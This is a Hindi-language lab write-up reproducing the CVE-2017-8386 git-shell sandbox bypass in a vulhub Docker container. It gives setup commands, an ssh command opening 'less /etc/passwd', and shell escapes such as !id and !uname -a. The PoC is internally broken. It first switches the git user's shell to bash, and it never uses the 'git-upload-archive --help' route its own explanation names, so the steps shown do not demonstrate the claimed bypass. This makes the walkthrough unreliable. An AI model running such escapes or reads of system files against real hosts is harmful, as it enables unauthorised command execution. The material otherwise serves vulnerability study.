
CVE-2017-8386 Git-Shell सैंडबॉक्स बाईपास कमज़ोरी के लिए PoC
정수진(@suz1n)
Git-shell SSH के माध्यम से केवल सीमित git कमांड की अनुमति देने वाला वातावरण प्रदान करता है। लेकिन git-shell के कुछ संस्करणों (जैसे 2.12.2) में less कमांड का दुरुपयोग करके सैंडबॉक्स को बाईपास करने और सिस्टम कमांड निष्पादित करने की कमजोरी (CVE-2017-8386) मौजूद है।
यह रिपोर्ट उस कमजोरी के लिए PoC का संचालन और प्रक्रिया का सारांश है।
git clone https://github.com/phith0n/vulhub.git
cd vulhub/git/CVE-2017-8386/

• Ubuntu 16.04 बेस इमेज
• Git 2.12.2 स्रोत से स्थापित
• OpenSSH सर्वर स्थापित और चलाएं
• git-shell वातावरण सेटअप (git उपयोगकर्ता बनाएं)
docker-compose build
docker-compose up -d
docker ps
• कंटेनर चल रहा है इसकी पुष्टि (git-shell-cve-2017-8386)

1. स्थानीय रूप से id_rsa.pub बनाएं और कॉपी करें
2. कंटेनर के अंदर जाएं और git उपयोगकर्ता में स्विच करें
3. authorized_keys पंजीकृत करें
docker exec -it git-shell-cve-2017-8386 /bin/bash
chsh -s /bin/bash git
su git
mkdir -p ~/.ssh
chmod 700 ~/.ssh
touch ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
vim ~/.ssh/authorized_keys

apt update
apt install less -y
apt install man-db -y
• PoC संचालन के लिए less, man पैकेज स्थापित किए गए
ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"
• less स्क्रीन में प्रवेश सफल
• ! कमांड के माध्यम से सिस्टम कमांड निष्पादित कर सकते हैं
• !id -> उपयोगकर्ता ID, समूह ID आउटपुट

• !whoami -> वर्तमान उपयोगकर्ता (git)
• !uname -a -> सिस्टम कर्नेल जानकारी आउटपुट
• !ls /home/git -> git होम डायरेक्टरी फ़ाइल सूची आउटपुट
• git-shell वातावरण में उपयोगकर्ता को सिस्टम कमांड चलाने से प्रतिबंधित किया जाता है।
• लेकिन `git-upload-archive --help` कमांड के माध्यम से आंतरिक रूप से less कॉल संभव है।
• less कमांड ! फ़ंक्शन के माध्यम से सिस्टम शेल कमांड निष्पादन का समर्थन करता है।
• परिणामस्वरूप, git-shell सैंडबॉक्स को बायपास करके मनमाना कमांड निष्पादन संभव है।
• Insinuator ब्लॉग: https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/
• Vulhub GitHub रिपॉजिटरी: https://github.com/phith0n/vulhub